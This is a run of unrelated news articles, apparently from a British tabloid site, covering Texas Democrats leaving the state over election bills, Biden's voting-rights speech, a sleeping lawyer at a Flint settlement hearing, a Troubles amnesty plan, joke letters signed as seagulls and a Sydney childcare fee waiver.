The letter also cited press reports about his brother Frank, describing how he was depicted in an ad for a law firm he advises. '[t]he two Biden brothers have long held a commitment to pushing environmental issues to the forefront,' it said.

The letter asks for documents relating to Hunter Biden's artwork, a list of past and ongoing foreign business interests of members of the Biden family, a list of their speaking engagements, and any policies designed to ensure they do not profit from the presidency.

The demands go back to Biden's time as vice president with a request for information about a 2013 trip to China and a 2016 visit to Mexico, including communications about a 'security incident' on Air Force Two.

The administration has insisted it would pursue the highest ethical standards,

In January, Psaki said: 'It's the White House's policy that the president's name should not be used in connection with any commercial activities to suggest or in any way, in any way they could reasonably be understood to imply his endorsement or support.'
The Speaker of the Texas House has called on the 'runaway' Democrats to return their $221-a-day allowances after they fled the state on Monday to thwart the passing of election bills.

Dade Phelan said they should be stripped of the per diem until they returned to their jobs.

'While these Texas Democrats collect taxpayer money as they ride on private jets to meet with the Washington elite, those who remain in the chamber await their return to begin work on providing our retired teachers a 13th check, protecting our foster kids, and providing taxpayer relief,' Phelan said in a statement.

Dade Phelan, the Speaker of the House in Texas, has demanded that the Democrats who fled his state to avoid voting on a bill be stripped of their $221-a-day allowance

It took at least 51 House Democrats walking out for them to break quorum.

According to the Texas Tribune, 58 representatives and nine senators are now in Washington, meaning there are now 67 in total, receiving $14,807 per day.

If each of them have been there since Monday, the total is now $44,421.

Chris Turner, the chair of the House Democratic Caucus, then said he expects his colleagues will decline receiving those payments.

'Those per diems are paid out at the end of the month, so that would be several weeks away,' Turner said on Wednesday.

'I anticipate members are going to decline them.'

The Texas Ethics Commission states: 'The Texas Supreme Court has interpreted this constitutional per diem as being a compensation payment to a legislator in consideration for all services rendered throughout his or her term.

'Accordingly, legislators are entitled to a per diem for each day of session, regardless of how many days were actually attended. Similarly, legislators are not required to provide evidence of actual expenditures to receive this per diem.'

Phelan is pictured on Wednesday in the half-empty chamber in Austin, Texas

Turner reiterated the Democrats' insistence that taxpayer money was not being spent on the trip, saying it was being paid for by fundraising.

He spoke after Texas Senator Ted Cruz tore into Vice President Kamala Harris for comparing the runaway Texas Democrats to Selma marchers and other civil rights leaders.

'It's actually pretty ridiculous,' he said on Fox News Channel Wednesday.

'Last I checked, the heroic civil rights protesters on the Edmund Pettus Bridge were not in a private chartered jet, they didn't have a case of Miller Lite next to them.'

Sen. Ted Cruz appeared on Fox News Channel Wednesday and said it was 'ridiculous' for Vice President Kamala Harris to compare the runaway Texas Democrats to civil rights leaders

Vice President Kamala Harris compared the runaway Texas Democrats to civil rights leaders, something that was mocked Wednesday by Republican Sen. Ted Cruz

Texas Democrats are still receiving a $221 per diem despite fleeing to Washington. They were photographed Tuesday morning in front of the Washington Plaza Hotel, an older property that was recently renovated and boast a large, outdoor swimming pool

The Texas Democrats are staying at the Washington Plaza Hotel, an older property that was recently renovated and boasts an impressive outdoor pool. The room rate is currently $199 a night, which is higher than average for the hotel

The group insists no taxpayer money has been spent on the $100,000 to charter two private jets to get from Austin to D.C. They are pictured on Monday, flying to Washington

The bills were passed by the state Senate on Tuesday.

The lawmakers say they are prepared to stay in D.C. until the end of the 30-day special session called by Texas Republican Governor Greg Abbott, which still has 26 days remaining.

Currently, the group is staying at the Washington Plaza Hotel in Northwest Washington, D.C., where rooms are going for $199 a night - higher than average for the older property.

The hotel was built in 1962 close to D.C.'s Thomas Circle, was recently renovated and boasts a large outdoor pool.

Trey Martinez Fischer, one of the runaway Democratic representatives, said Tuesday that Texas Democrats, through campaign funds and other private fundraising efforts, are fully paying for the trip.

The group insists no taxpayer money has been spent on the $100,000 to charter two private jets to get from Austin to D.C. or the several thousand dollars per night to stay at the hotel.

Also on Tuesday, several of the lawmakers said they are not worried about threats that they will be arrested once stepping foot back in Texas.

On Wednesday, Cruz repeated that threat on Fox News Channel.

'And if these House Democrats continue pulling this stunt, they're going to be arrested,' Cruz said.

'And the Texas Constitution gives ample authority to arrest legislators who are trying to shut down the operation of government and to forcibly make them present on the House floor so that the wheels of government can continue to turn.'

'So when their stunt is over, the legislature will do its job,' the Texas Republican added.

Cruz also predicted that the Democrats would 'fail.'

'Look, these are partisan Democrats playing a political stunt and they're desperate for media attention. They're getting it. The Biden administration wants to play politics, and so they're doing that,' he said. 'But this is going to fail. They're going to eventually have to come home.'

'And when they come home, the governor has rightly said he will continue to call special sessions until Texas passes voter integrity law to protect the integrity of elections,' Cruz said.

The group met with one of Cruz's Democratic colleagues, Sen. Elizabeth Warren, on Capitol Hill Wednesday  and some towed their children along with them.

At least two Texas House members brought their children with them when fleeing Austin to the nation's capital this week.

A young girl joined her mother as the group was pictured speaking with Warren on Capitol Hill Wednesday afternoon.

At one point she was being held by her mother, and then was pictured sitting on the floor and looking at a picture book with a puppy on the cover.

While none of the lawmakers were wearing face coverings, the young girl was. The FDA has not approved emergency use for the vaccine for children under 12-years-old.

On Tuesday morning, while leaving Washington Plaza Hotel for a press conference on Capitol Hill, a representative was seen walking hand-in-hand with her masked-up grade school-age son.

It is unclear how many children came along for the ride with their lawmaker parents or if they will also remain in Washington for that full time.

Texas Democratic lawmakers met with Senator Elizabeth Warren on Capitol Hill on Wednesday

One lawmaker brought to the Capitol her young daughter, who at one point sat on the ground to look at a picture book with a puppy on the cover

Progressive Senator Warren speaks to Texas state representatives in Washington D.C.  one woman can be seen holding her daughter during the visit

On Tuesday night, Abbott slammed President Joe Biden for 'spreading disinformation' with a speech he delivered earlier that day in Philadelphia saying GOP voting bills are 'the most significant threat to democracy since the Civil War.'

'Biden has a pattern of spreading misinformation & he's at it again today,' Abbott said in a tweet.

'The [Texas Legislature] is passing a law that EXPANDS early voting hours & prevents mail-in ballot fraud. Texas is making it EASIER to vote & harder to cheat,' he added.

The Texas Senate bill would allow voting from 6 a.m. to 9 p.m.  an increase of three hours on weekdays and 10 hours on Sundays  and would lower the population threshold from 100,000 to 30,000 for counties to open the polling booths for at least 12 hours in the week before Election Day.

Mail voters would also be asked to verify their identities with a state ID number or the last four digits of their Social Security number in a bid to get rid of signature verification that accounts for a higher number of rejected ballots.

'Once again, President Biden ignores the facts,' Abbott said in a video attached to his Tuesday evening tweet. 'The fact is that Texas is passing a law that expandsnot reducesthe hours of early voting.

Texas' Republican Governor Greg Abbott late on Tuesday slammed President Biden for 'spreading disinformation' with his speech saying GOP voting bills are 'the most significant threat to democracy since the Civil War'

'That's more than many states, including President Biden's home state of Delaware, which has zero hours of early voting,' Abbott added.

Biden has upped his rhetoric claiming the allegedly 'restrictive' voting bills, which are being proposed and passed across the country, are an 'un-American' throwback to Jim Crow laws.

The White House and Capitol Hill Democrats are using the latest stunt from Texas Democrats to push for the expansion of voting rights and access in the passage of H.R. 1, the For the People Act.

Democrats argue the law would increase access and expand the right to vote for minority and poor communities, while Republicans argue it opens the way for a slew of fraud  especially since the bill does include requiring identification in the form of government-issued ID to cast a ballot.

The Texas state Senate approved their version of the election reform bill on Tuesday, but the legislation has been stalled because the House Democrats broke the quorum of having two-thirds of lawmakers present by fleeing.

Texas Democrats believe the two bills passing through the state legislature would make it harder to vote and fled the state in two private jets and headed to Washington D.C. to block Republicans getting it through

The House voted on Tuesday that the runaways would be arrested on their return to the state, but the group has vowed to stay in Washington, D.C. until the 30-day session is up.

At best, the Democrats fleeing to the nation's capital from Austin on two private jets chartered at $100,000 on Monday is just a delay tactic or PR stunt. After the special session is up on August 7, Abbott can just call another one.

Biden on Tuesday launched an assault on attempts by Republican-controlled states to change voting rights laws, blasting them as a 'threat to democracy' and vowing to protect 'free and fair elections.'

'This is election subversion. It is the most dangerous threat to voting in the integrity of free and fair elections in our history,' he said, speaking at the historic National Constitution Center in Philadelphia.

Republicans say their new laws protect election security and argue the federal government shouldn't be involved in a state issue. Democrats claim the state laws will make it harder to vote, particularly for minority groups, which tend to vote Democratic.

In a 25-minute speech that traced the history of the voting rights movement, Biden veered between attacks on Donald Trump and Republicans who are undermining confidence in American elections and defending his own administration's work on the voting rights.

His speech came as faces criticism from Democrats, including some of his faithful supporters, that he has not done enough on the issue amid fears his party could lose control of the House and Senate in next year's midterm election.

Biden called on Congress to pass Democrats' two key voting rights legislation, which are being held up by GOP lawmakers. Senate Republican Leader Mitch McConnell has called them 'a craven political calculation' that shows 'disdain for the American people.'

But, in his remarks, Biden offered few solid ideas on how to counter the new round of state laws. He did not mention the Senate filibuster, which many of his Democratic allies want to be removed as an obstacle to federal voting rights legislation.

'I'm not filibustering now,' Biden said after his speech, when reporters asked him about the issue.

Biden spoke at the National Constitution Center in Philadelphia, just steps from Independence Hall where the Declaration of Independence was signed

President Biden spoke with supporters after his speech

Biden targeted Trump in his speech even as he did not mention his predecessor by name. But he made it clear who he was referring to as he denounced the 'big lie' along with the 'bullies and merchants of fear and peddlers of lies.'

'The Big Lie is just that - a big lie,' he said, referring to Trump's false claim that he won the 2020 election. Trump called Biden's victory 'the big lie' and falsely claimed to be the victim of voting fraud.

The crowd - nearly 300 people made up of local elected officials, national and local civil rights leaders, voting rights advocates, labor leaders and other officials - burst into applause.

'In America, if you lose, you accept the results, you follow the constitution,' Biden said, referring to Trump's continual attempts to cast doubt on the 2020 results.

'You try again. You don't call facts fake, and then try to bring down the American experiment just because you're unhappy. That's not statesmanship. That's selfishness,' he added.

He also blasted a litany of events that he said hurt Americans' right to vote, including poll taxes, literacy tests, terrorizing voters in the 1950s and 60s, and even a recent Supreme Court decision that weakened the Voting Rights Act.

Biden made the case that the right to vote is the most essential, fundamental one to America's democracy.

'Perhaps the most important of those things, the most fundamental of those things, is the right to vote freely, the right to vote fairly, the right to have your vote counted,' he said.

'It's up to all of us to protect that right. This is a test of our time,' he declared.

'Time and again we've had further threats to the right to vote, free and fair elections, and each time we found a way to overcome,' he said.

He blasted the spate of state laws that have been passed restricting voting rights. As of June 21, 17 states enacted 28 new laws that restrict access to right to vote, according to the Brennan Center for Justice.

'Republican members of the state legislatures are trying to pass 21st century Jim Crow laws,' the president said in remarks at the National Constitution Center.

'They want to make it so hard and inconvenient they hope people don't vote at all. That's what this is about,' he noted.

'Have you no shame?,' he asked those Republican state legislatures.

He described the laws as 'odious' and 'vicious.' He praised civil rights groups that are challenging them in courts.

And he called the state laws the most significant threat to democracy since the Civil War, adding that not even the Confederate Army breached the U.S. Capitol building, unlike the MAGA supporters on January 6th, who attempted to disrupt the certification of the 2020 election.

'We're facing the most significant test of our democracy since the Civil War. Confederate back then never breached the Capital as insurrectionists did on January 6th. I'm saying not this to alarm but because you should alarmed,' he said.

President Joe Biden greets people as he arrives to deliver his speech on voting rights

There were nearly 300 people in attendance and the audience as made up of local elected officials, national and local civil rights leaders, voting rights advocates, labor leaders and other officials

President Joe Biden talks with the Rev. Al Sharpton after his speech

The voting rights battle across the US: Republicans and Democrats go head-to-head on way elections are run with new bills Republicans and Democrats have gone to battle over how elections should be run at the state and federal level since the chaotic 2020 vote. The Democrats are trying to pass the H.R.1 For The People Act, which expands voter registration, early voting, mail-in voting and introduces restrictions on campaign finance. The GOP believes this would amount to a federal takeover of elections and has responded with a series of bills aimed at protecting voter integrity and security of elections at the state level. In March, GOP Senate Minority Leader Mitch McConnell called H.R.1 an 'unparalleled political grab' that would consolidate Democratic power. Donald Trump has called the bill a 'monster' that cannot be allowed to pass and former vice president Mike Pence said it would 'increase opportunities for election fraud, trample the First Amendment and further erode the confidence in our elections'. In the legislation proposed and passed in GOP-controlled states including Texas, Wisconsin and Georgia, voters would have to provide a valid drivers license or the last four digits of their social security in order to cast their ballot. Voters would also have to fill out paperwork if taking someone who is not a relative to vote in person. The regulations would also prevent election officials from sending mail-in ballots to voters who haven't asked for them. Republicans claim that expanded hours for voting, wider access to mail-in ballots, and other accommodations made for the pandemic led to extensive voter fraud. Democrats say there is no evidence for that, and that the GOP, after losing the White House and Senate in the November vote, simply want to make it harder for many people. The party believes the new measures would make it harder for African-Americans, Native Americans and others who tend to support Democrats, to participate in elections. The fight over the restrictions has drawn comparisons with decades ago when laws were drawn up across the south to prevent black Americans from voting. In 1965, the Voting Rights Act was signed, and prohibited racial discrimination in voting by outlawing literary tests and poll taxes. Two weeks ago, the Supreme Court upheld two provisions in Arizona that discarded votes cast at the wrong precinct on Election Day and made it illegal for an absentee ballot to be collected by anyone other then a postal worker, election official, voter caregiver, family member or household member. The changes Republicans are pushing include: Many states have permitted citizens, if not already registered to vote, to do so on election day with simple evidence of their residency in the state. But the new legislation in some states demands they register early and do so with an official ID card like a driver's licence. Democrats and civil liberties groups claim the ID requirements hit the poor more than others, and can result in a 2-3 percent fall in voter turnout. The legislation in Florida would also stop people from going door-to-door to drum up votes. Mail-in voting: Many states expanded voting by mail in 2020 to address the challenge of the coronavirus, but Republicans believe this lead to fraud. In the 2020 election the number of people who voted by mail more than doubled from four years earlier, resulting in many ballots being delivered late and not counted until days after election day. It caused chaos in the aftermath of the November vote, with states including Arizona, Georgia, Pennsylvania not finishing their count for days and Joe Biden not being called the winner for almost a week. Georgia cut in half the time allowed to obtain a mail-in ballot. Arizona proposed to require that every mailed ballot be post-marked five days before an election. Colorado and other states send mail-in ballots to every registered voter. In June Wisconsin's Republican legislature voted to require anyone wanting a mail-in ballot to formally request it in writing, with a copy of their ID. Georgia and other states have moved to limit the availability of drop-boxes for mail ballots. Early voting limits: Early in-person voting was expanded during the pandemic because of social distancing and to avoid lines at the polls on election day. Legislators in some states are shortening the number of days and the hours for early voting. Democrats say it makes it difficult for people who work long hours to be able to vote and disproportionately impacts poor communities and minorities. Help for voters: On election day in Georgia last year voters in largely Democrat, African-American districts had to wait in line for hours. To help them with the long wait volunteers handed out water and snacks. Georgia has banned people from providing snacks. Republicans also want to prevent people from delivering ballots to election offices for those who cannot do so themselves. The Democrats believe this is tactic is being used to stop Native Americans who live on reservations from voting. A new law in Montana bans organized ballot collection on reservations. Democrats' desire Democrats in Washington D.C. want to see federal legislation enacted to protect voting rights. Their 'For the People' Act would create a national automatic system for registering voters and established national standards for mail-in and absentee ballot. In June, Senate Republicans blocked the legislation from moving forward in that chamber after the House approved it. That June failure increased focus on the Senate filibuster, which requires any legislation to have 60 votes in order to move forward. If left in place, odds of the Democrats' two voting rights measures - For the People Act and the John Lewis Voting Rights Advancement Act - becoming law are slim. Many Democrats, including some Biden allies, have expressed frustration with the lack of White House push to reform the filibuster. 'I'm not filibustering now,' Biden said in Philadelphia after his speech, when he was asked about the issue. Some Biden supporters point out he was elected with broad support from black voters, who are at most risk from the new state voting restrictions. House Majority Whip Jim Clyburn, a longtime Biden ally, urged this week that the filibuster be modified for voting rights legislation. Clyburn told Politico if the Democrats' two voting laws don't pass Congress: 'Democrats can kiss the majority goodbye.' The Democrats' second bill, the John Lewis Voting Rights Act, would: Create a pathway for citizens or the federal government to challenge new voter laws in the courts, particularly if parties can show the new law infringes on minority voting rights.

Require public notice for any changes made to voting laws in a state or political subdivision.

Provide new rules for polling places on Indian reservations that require states to pay for polling places at no cost to tribes.

Require many categories of changes in state or local election procedures to go through a process called 'preclearance'  essentially, approval from the Justice Department's civil rights division  before being implemented. Advertisement

Biden's speech was intended as a call to arms as Democrats worry not enough is being done to counter the new state voting laws ahead of the midterm election.

Democrats fear the new spate of voting rights laws will harm them at the voting booth in the 2022 contest, costing them control of the House and Senate.

When it comes to voting rights, Biden is fighting a two-prong battle: on the state level where Republican-controlled legislatures are passing restrictive measures and on a national level, where he doesn't have the numbers in the Senate to pass federal legislation.

Many of those states passed the measures after Biden's victory in the 2020 election, when former President Donald Trump falsely claimed he won and was the victim of voter fraud.

Trump slammed Biden's remarks, mocking Biden for saying in his speech that 150 million people voted. Nearly 158.4 million Americans cast ballots in 2020 with 81 million for Biden, 74 million for Trump and the rest for third-party contenders.

'Biden just said 150 people voted in the 2020 Presidential Election (Scam!). On the assumption that he meant 150 million people, and based on the fact that I got 75 million+++, that would mean that Biden got 75 million votes, which is 6 million votes less than what they said they got. So what is that all about? Are they already conceding 6 million votes?,' Trump said in a statement late Tuesday.

And Republican Sen. Pat Toomey of Pennsylvania, who is retiring, defending the new state voting laws: 'Suggesting that election integrity measures such as voter ID and prohibitions on ballot harvesting are reminiscent of Jim Crow is false, offensive, and trivializes a dark period of actual systemic racism in parts of America. President Biden knows that the state laws he has attacked are in many cases less restrictive than that of his own home state of Delaware.'

The location of Biden's speech on Tuesday has deep symbolic meaning. The Declaration of Independence and the U.S. Constitution were both signed at Independence Hall, just steps away from the National Constitution Center.

The center is also the location of where Barack Obama gave his famous 'A More Perfect Union' speech during his 2008 campaign, where he tackled the issue of race, America and a 'more perfect union.'

On voting rights, Biden is balancing his struggle with the states with his own limitations in passing legislation on a national level.

His administration is using other tools at its disposal. The Justice Department is suing Georgia for its new voting rights law, which critics say makes it harder for black people to vote. Attorney General Merrick Garland has hinted there may be more action to come.

House Democrats, meanwhile, passed a sweeping voting rights bill in June but it failed in the 50-50 Senate, where all Republicans united to block it from moving forward.

The massive election overhaul bill was aimed at protecting and expanding voting rights and reforming campaign finance laws.

That June failure increased focus on the Senate filibuster, which requires any legislation to have 60 votes in order to move forward. If left in place, odds of the Democrats' two voting rights measures - For the People Act and the John Lewis Voting Rights Advancement Act - becoming law are slim.

Many Democrats, including some Biden allies, have expressed frustration with the lack of White House push to reform the filibuster.

Some Biden supporters point out he was elected with broad support from black voters, who are at most risk from the new state voting restrictions.

House Majority Whip Jim Clyburn, a longtime Biden ally, urged this week that the filibuster be modified for voting rights legislation.

Clyburn told Politico if the Democrats' two voting laws don't pass Congress: 'Democrats can kiss the majority goodbye.'

Biden met with civil rights activists at the White House last week but his focus has been on fighting the COVID pandemic, increasing the vaccination rate and passing a massive infrastructure bill.

Donald Trump continues to push the false claim he won the election and sow seeds of doubt about election integrity in the United States

Texas Democratic State House members hold a press conference on Capitol Hill in Washington, D.C. on Tuesday, July 13, 2021

Trump blasted Biden's Philadelphia trip in a bizarrely worded statement on Tuesday where he focused on an attempt by a lone Republican state lawmaker in Pennsylvania who is trying to audit the 2020 election.

'Philadelphia was a cesspool of corruption, which will soon be revealed by the audit. Why are they so concerned that a President, who never goes anywhere, would hop onto beautiful Air Force One and head to Philadelphia if it were an honest election?,' Trump said.

Multiple audits in multiple states have confirmed Biden's election victory and shown no evidence of voter fraud.

While Biden pushing the issue in Philadelphia, the birthplace of democracy, he'll have help in his public pressure campaign from a group of Texas Democrats, who fled their state on private jets Monday to keep the state legislature from passing new restrictive voting laws.

The group of Texans were on Capitol Hill Tuesday to lobby for national voting legislation.

Meanwhile Republicans in the Texas State House voted 76-4 to arrest the wayward Democrats but, by crossing state lines, they have escaped jurisdiction of Texas law enforcement.

Texas House rules allow the sergeant-at-arms to arrest members who are not present at the Capitol for a vote  and the show of disapproval Tuesday could result in the lawmakers' arrest when they land back in the Lone Star State.

The Tuesday vote doesn't hold much weight as long as the Democrats remain in Washington since by crossing state lines they have escaped jurisdiction of Texas law enforcement.

'If there are any House Sargent at Arms looking for me... I'm definitely in the Texas Capitol building, somewhere,' one Democratic state representative tweeted in taunting his colleagues back in Texas on Tuesday.

Gene Wu continued: 'Keep looking. Don't stop.'

Shortly after, he followed up with another tweet saying: 'Getting warmer'

He was slammed by critics on Twitter who claim he is making light of the situation and basking in the attention from the fleeing stunt.

Despite the avoid tactic from Democrats, Governor Abbott can just call another session whenever they set foot back in Texas and make sure they attend by having law enforcement appointed by the Sergeant at Arms bring them to the State House.

Vice President Kamala Harris met with the group of lawmakers on Tuesday evening.

It is not immediately clear if President Joe Biden plans to meet with them, but White House Deputy Press Secretary Karine Jean-Pierre said, when asked if he supports their decision: 'He applauds their courage.'
One of the top lawyers in the Flint water crisis settlement was caught by the judge sleeping during Tuesday's Zoom hearing to discuss the fairness of legal fees.

Philadelphia lawyer Mark Cuker was called out by US District Judge Judith Levy after he appeared to doze off while Flint residents were speaking out against the proposed settlement at the Genesee County Circuit Court in Flint.

He was slumped in his chair with his eyes closed, the Detroit Free Press reported.

'He has decided to take a nap during the remarks,' Levy said, according to the Detroit Free Press.

When Cuker woke up, the paper reported that he apologized to the court and to the speakers and said he took an early flight and had little sleep.

'I meant no disrespect,' he said.

Mark Cuker, one of the top lawyers fighting on behalf of Flint residents in the water crisis situation, was caught dozing off during Tuesday's hearing via Zoom. He apologized in court and said had been flying and had little time to sleep

Cuker was called out by US District Judge Judith Levy. The two have had battles throughout the settlement

The Flint Water Plant towers over the Michigan city that's been impacted by months of lead-tainted water

There hasn't been any public backlash to the the lawyer nodding off.

Cuker has been one of the top attorneys fighting on behalf of Flint residents and recently battled with Levy over off-the-record conferences with other attorneys.

There hasn't been any public backlash when the attorney nodded off. Cuker has been one of the top attorneys fighting on behalf of Flint residents and recently battled with Levy over off-the-record conferences with other attorneys.

Tuesday's virtual hearing, where he was caught dozing off during former Flint Mayor Dr. Karen Weaver's testimony, was the first time Flint residents were able to weigh on in the $641million settlement, of which 33 percent - about $202million - would cover attorney fees.

Residents were joined by community leaders, former Mayor Weaver and the Michigan Lawsuit Abuse Watch, which organized the rally outside of the courthouse on Tuesday and started a petition.

They watched the hearing on screens outside the federal courthouse in eastern Michigan and then held a rally.

Michigan Lawsuit Abuse Watch spokesman Robert Dorigo Jones told DailyMail.com they believe a legitimate attorney fee would be between 15 and 20 percent, which would give more money to the victims of the crisis.

'$202 million is an outrageous money grab. We would like these fees to go to the people of Flint,' he said.

'In a way, this is making allies become adversaries,' Dorigo Jones told DailyMail.com.

It's unknown exactly how many victims are entitled to compensation and how many attorneys would be paid.

During Tuesday's rally, Weaver was one of the speakers who said opposed the high percentage of lawyer fees.

'If we're going to go down, I'm going to go down fighting. I'm going down fighting for the people. This is one of the biggest manmade injustices in the history of Michigan,' she said.

Former Flint Mayor Dr. Karen Weaver speaks during Tuesday's ally outside the Genesee County Circuit Court in Flint, where residents have objected to the high attorney fees in the $641milllion Flint water crisis settlement

Cuker has been a guest on Weaver's radio program in the past and been praised by the former mayor as someone fighting for Flint residents, the Detroit Free Press has reported.

There haven't been any videos or screengrabs shared on social media like in other Zoom gaffes over pandemic.

Recording of a court proceeding held by video or teleconference, including 'screenshots' or other visual copying of a hearing, is absolutely prohibited, according to federal court rules in Eastern Michigan.

DailyMail.com emailed Cuker for a comment.
Plans to end the witch hunt of British troops who served in Ulster suffered a setback last night after they were rejected by Dublin.

Northern Ireland Secretary Brandon Lewis yesterday confirmed proposals to introduce a statute of limitations covering all incidents in the Troubles.

The move is designed to end the pursuit of British veterans through the courts over incidents that occurred decades ago.

Controversially, it will also give an effective amnesty to IRA and loyalist terrorists who killed thousands.

Plans to end the witch hunt of British troops who served in Ulster suffered a setback last night after they were rejected by Dublin

The plan received a cautious welcome from veterans groups and some Tory MPs, including ex-PM Theresa May. But ministers faced a backlash from victims families and the main political parties in the Province.

Irish premier Micheal Martin said it was wrong for many reasons. UK ministers had seen Mr Martin as a pragmatist who might be persuaded to help push through the deal. But last night he told the Irish parliament he could not accept a general amnesty for those who committed murder, whether there were State actors, or whether theyre involved in terrorist or illegal organisations.

A Government source last night insisted ministers could press ahead with or without support from Dublin or political leaders in the North, but conceded it would be obviously better if they agree.

The plans faced a mixed reaction from MPs yesterday. Mrs May said that young people in Northern Ireland would only be able to enjoy a brighter future if the Province can find a path to reconciliation and is able to address and crucially move on from the legacy of the past.

Northern Ireland Secretary Brandon Lewis yesterday confirmed proposals to introduce a statute of limitations covering all incidents in the Troubles

Former Tory leader Sir Iain Duncan Smith, who served with the Scots Guards in Northern Ireland, admitted the plans will not be beloved of anybody, but insisted: We... all have to make some kind of sacrifice. He added: My only concern is the vexatious pursuit of soldiers, who served like many of us did because thats what their country called them to do, should end and they themselves be seen as victims.

But former defence minister Mark Francois accused ministers of procrastinating  and warned that veterans would have the Sword of Damocles hanging over them for at least another year even if the plans go through.

A government paper released yesterday to accompany Mr Lewis statement justified the proposed statute by revealing that in the last six years just nine people have been charged with Troubles-related deaths, resulting in a single conviction. It would take the Police Service of Northern Ireland more than 20 years to continue combing through around 1,200 cases under consideration.

It was confirmed yesterday that the amnesty would also apply to all civil cases and inquests  ending any legal routes for the families of victims.

Earlier, former head of the Army, General Lord Dannatt, told Radio 4s Today programme: This isnt the solution to everyones problems  I call it the least worst solution.

But it does provide a mechanism whereby investigations can continue, questioning can continue so that families who lost loved ones during the Troubles get to know what happened but without the fear of prosecution being held above the heads of military veterans.

Addressing MPs yesterday, Mr Lewis defended the plan, adding: We are not pardoning terrorists for the heinous crimes they committed. There is no moral equivalence for those who upheld the law and those who sought to destroy it.

Labours Northern Ireland spokesman Louise Haigh said: At the heart of this is an amnesty in all but name which is profoundly offensive to many. Ministers appear to have conceded that the rule of law no longer applies.

She added: An amnesty for the republican and loyalist terrorists who tortured, maimed, disappeared and murdered men, women and children.

Addressing the toxic legacy of the past in this way, through unilateral imposition from Westminster, without the support of any political party in Northern Ireland, is foolish and unsustainable.

DUP leader Sir Jeffrey Donaldon said the proposals sacrifice justice, while Alliance MP Stephen Farry told the Commons the plans were shameful. Northern Ireland Deputy First Minister Michelle ONeill, of Sinn Fein, said: The families have in the past taken to the streets and Ive no doubt that they will do so again in their firm opposition to this.
Sir: Like thousands of members of the seagull community, I was deeply upset by the article by Mr Roger Lewis in Tuesdays Daily Mail, headlined Why I hate the devilish gulls that flooded my house!

Over the course of his hate-filled tirade, Mr Lewis described seagulls such as myself as, variously, nasty, horrible and disgusting flying rats.

Mr Lewis omitted to mention the countless acts of charity performed by seagulls over the course of a single year.

Only yesterday, I helped tackle the human obesity crisis by swooping on a toddler in a bid to remove a calorific chip from his chubby little fist. Hundreds if not thousands of seagulls regularly perform such selfless acts.

Yet not a single seagull has ever been nominated for the annual Pride of Britain award.

C. Gull, Hastings, E. Sussex.

Sir: Like thousands of members of the seagull community, I was deeply upset by the article by Mr Roger Lewis in Tuesdays Daily Mail, headlined Why I hate the devilish gulls that flooded my house!

Sir: As the Chief Public Relations Advisor to the International Seagull Chorus, I was outraged at the blatant gullism in Mr Lewiss unpleasant piece.

He wrote of the terrible unremitting noise of seagulls, which, he claimed, starts at five in the morning and continues all day: discordant shrieks and full-throated squeals.

What nonsense! The sweet song of seagulls is treasured by music-lovers the world over, and has influenced musicians and composers from Stockhausen to Bjork.

Seagulls put in hours of rehearsal to get their songs just right, often rising in the early hours of the morning to put the finishing touches to a rousing new chorus.

Has Mr Lewis ever climbed on his roof at three or four in the morning to practise his singing scales over and over again? Until he is prepared to put in the hours, he should stop criticising those, like me, who are not afraid to do so.

Cliff Herring, Scarborough

Sir: As a leading seagull and a founder member of the SAG (Seagull Actors Guild), I blame Alfred Hitchcock. The directors 1963 film The Birds was a gross misrepresentation of seagulls. He made us look aggressive, noisy and vindictive, when we are well known for keeping ourselves to ourselves.

As it happens, all the available seagulls with any acting skills refused to participate in Hitchcocks malicious portrayal.

Sir: As the Chief Public Relations Advisor to the International Seagull Chorus, I was outraged at the blatant gullism in Mr Lewiss unpleasant piece

This meant that, at great expense, he was obliged to hire other local birds  budgerigars, robins, canaries. Skilled make-up artistes and costumiers then dressed them up to look like gulls.

That notorious film set the cause of Gull Liberation back a hundred years or more. Only our good friends in the shark community have been given a worse press.

S. Creech, Cornwall

Sir: I was disappointed that, in their recent broadcast with Oprah Winfrey, the Duke and Duchess of Sussex showed her a collection of pet chickens.

So much for all their talk of being so modern and woke! Chickens are so last year! Why no pet seagulls?

Gulls make very special friends for all the family. Not only do we sing and dance but we brighten up outside walls with fancy splodges to rival Jackson Pollock and Damien Hirst.

Incidentally, why has the BBC yet to include a single seagull as a celebrity guest on Strictly or Bake-Off? Gary Lineker is paid countless millions by the Beeb, but sadly the seagulls featured in so many of the most popular wildlife programmes are paid only in old chips and choc ices.

Deb Ris, Skegness

Sir: Roger Lewis claims that gulls in his area have grown disdainful towards any humans walking by. They refuse to budge.

This is, if I may say so, a typically human angle on things. Why should it be seagulls who have to budge? We got here first. If human beings wish to earn our respect, they should start acting respectably. Unlike some human beings I could mention, we do not cover ourselves in tattoos and/or piercings. Nor do we wear skirts that are too small for us, or tiny bikinis that leave nothing to the imagination.

S. Woop, Dungeness
Sydney parents will not have to pay for childcare if they keep their kids at home during the city's lockdown.

From Monday July 19, childcare centres in locked-down areas can waive gap-fees on the days that parents decide not to use them.

The gap fee is the difference between the Child Care Subsidy the government pays to the provider and the remaining fee paid by the family.

Sydney parents will not have to pay for childcare if they keep their child at home during the city's lockdown

Parents who send their children to care still have to pay as normal.

The move allows parents to keep their child enrolled rather than pulling them out of a centre if they don't want to use care during lockdown.

Prime Minister Scott Morrison said around 216,000 families across Greater Sydney that access childcare services could benefit from this measure.

'When gap-fees are waived families will not have to pay any out-of-pocket costs for those days that their children are at home during the current stay at home period,' Mr Morrison said.

Which areas qualify for free childcare? Bayside, Blacktown, Blue Mountains, Burwood, Camden, Campbelltown, Canada Bay, Canterbury-Bankstown, Central Coast, Cumberland, Fairfield, Georges River, Hawkesbury, Hornsby, Hunters Hill, Inner West, Ku-ring-gai, Lane Cove, Liverpool, Mosman, North Sydney, Northern Beaches, Parramatta, Penrith, Randwick, Ryde, Shellharbour, Strathfield, Sutherland Shire, Sydney, The Hills Shire, Waverley, Willoughby, Wollondilly, Wollongong and Woollahra Advertisement

Sydney's lockdown was extended for another two weeks from Friday as the city's outbreak grew to 825 active cases.

Meanwhile, health officials fear a Covid-infected worker at a Sydney building firm may have exposed hundreds to the virus after turning up for work for two weeks while unknowingly infectious.

An urgent alert is out for anyone who visited the Greenacre firms D&M Excavations and Hanson Concrete Australia in Bullfrog Street at any time between July 1 and July 13, who must isolate immediately and get tested.

It's feared the employee could have come into contact with potentially hundreds of customers and staff during the nearly two week window.

The warning came as NSW Health named a further 32 new exposure sites across the city and beyond, with two new worrying hotspots in the south of the state.

Sydney and its surrounding regions are nearing the end of a third week of lockdown, which has since been extended until at least July 30 to stem the spread of the Indian Delta variant.

